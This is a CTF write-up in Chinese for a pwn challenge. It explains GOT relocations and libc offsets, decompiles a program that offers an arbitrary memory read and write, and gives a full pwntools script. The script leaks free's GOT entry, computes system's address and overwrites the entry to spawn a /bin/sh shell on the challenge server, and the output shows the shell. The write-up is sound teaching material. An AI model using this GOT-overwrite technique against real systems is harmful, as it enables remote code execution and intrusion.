PWN (5)

> 本题需要借助 Linux 下的 ANSI C 函数库向程序注入`system("/bin/sh")`，以此拿到shell

预备知识

GOT表

> GOT表在之前一篇笔记中已有介绍，这里再补充几点:

```
jackie@ubuntu:~/Downloads/pwn3$ readelf -r got

Relocation section '.rel.dyn' at offset 0x330 contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ffc  00000406 R_386_GLOB_DAT    00000000   __gmon_start__
0804a040  00000905 R_386_COPY        0804a040   stdin@GLIBC_2.0

Relocation section '.rel.plt' at offset 0x340 contains 6 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
0804a010  00000207 R_386_JUMP_SLOT   00000000   fgets@GLIBC_2.0
0804a014  00000307 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
0804a018  00000507 R_386_JUMP_SLOT   00000000   exit@GLIBC_2.0
0804a01c  00000607 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804a020  00000707 R_386_JUMP_SLOT   00000000   __isoc99_scanf@GLIBC_2.7
```

以上图为例，`exit`对应的`Offset`为`0x0804a18`，意思是，符号`exit`在GOT表中的地址为`0x804a018`，即内存地址`0x804a018`处存放着`exit`函数的入口地址

libc

libc 是 Linux 下的 ANSI C 函数库，其中存放着库函数的入口地址偏移量(相对哪里的偏移无需关心)

IDA反编译二进制文件并分析

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@2
  int *v4; // [sp+0h] [bp-18h]@3
  int v5; // [sp+4h] [bp-14h]@3
  char *s2; // [sp+8h] [bp-10h]@1
  char *s; // [sp+Ch] [bp-Ch]@1

  puts("What's your name?");
  s = (char *)malloc(0x40u);
  s2 = (char *)malloc(0x40u);
  fgets(s, 64, stdin);
  puts("Please input again");
  fgets(s2, 64, stdin);
  if ( !strcmp(s, s2) )
  {
    free(s2);
    printf("Hello %sThis time, I'll show you more technique in stack overflow.\n", s);
    puts("But I'm not willing to tell you hint directly,so discover by yourself.");
    puts("I promised that you can solve it by what you learned so far.");
    printf("Which address you wanna read:");
    __isoc99_scanf("%d", &v4);
    v5 = *v4;
    printf("%#x\n", v5);
    printf("What value you wanna write in the address:");
    __isoc99_scanf("%d", v4);
    free(s);
    result = 0;
  }
```

主体框架就是main函数.

程序获取用户的两次输入，如果两次输入的字符串相等则给出内存读写的机会. 可以看到，获取输入后先`free(s2)`，之后用户输入一个地址，并向其中写入用户指定的内容，最后`free(s)`.

是想，如果输入`"/bin/sh"`，借助程序提供的内存读写机会，把`free`的入口换成`system`的入口，那末最后的`free(s)`就变成了`system(s)`，而s="bin/sh"，这样就能拿到shell.

如果`free`的入口地址为`free_real_addr`，`free`和`system`的入口地址之差的绝对值为x，那末就可以算出`system`的入口地址为`system_real_addr = free_real_addr +(-) x`.

综上，可以写出脚本:

```python
from pwn import *
bin_sh = '/bin/sh'

p = remote('ctf.cnss.studio', 5005)
got2_elf = ELF('./got2')
libc_elf = ELF('./libc.so.6_pwn5')

p.sendline(bin_sh) # read by fgets
p.sendline(bin_sh) # read by fgets again

free_got_addr = got2_elf.got['free']

p.sendline(str(free_got_addr)) # read by scanf
p.recvuntil('Which address you wanna read:')
free_real_addr = eval(p.readline()) # program will print the content in the memory
print 'free_real_addr = ' + hex(free_real_addr)

system_offset = libc_elf.symbols['system']
free_offset = libc_elf.symbols['free']
system_real_addr = free_real_addr - (free_offset - system_offset)
# system_real_addr = free_real_addr + (system_offset - free_offset)
print 'system_real_addr = ' + hex(system_real_addr)

p.sendline(str(system_real_addr - 0x100000000)) # read by scanf
p.interactive()
```

攻击结果：

```
jackie@ubuntu:~/Downloads/pwn5$ python test5.py
[+] Opening connection to ctf.cnss.studio on port 5005: Done
[*] '/home/jackie/Downloads/pwn5/got2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/home/jackie/Downloads/pwn5/libc.so.6_pwn5'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
free_real_addr = 0xf75992f0
system_real_addr = 0xf7562da0
[*] Switching to interactive mode
What value you wanna write in the address:/bin/sh: 0: can't access tty; jo
$ $ ls
flag
$ $ cat flag
cnss{now_1_b3lieve_you_knowed_got}
```

More

- 如果地址是负数，`sendline`中一定要取补码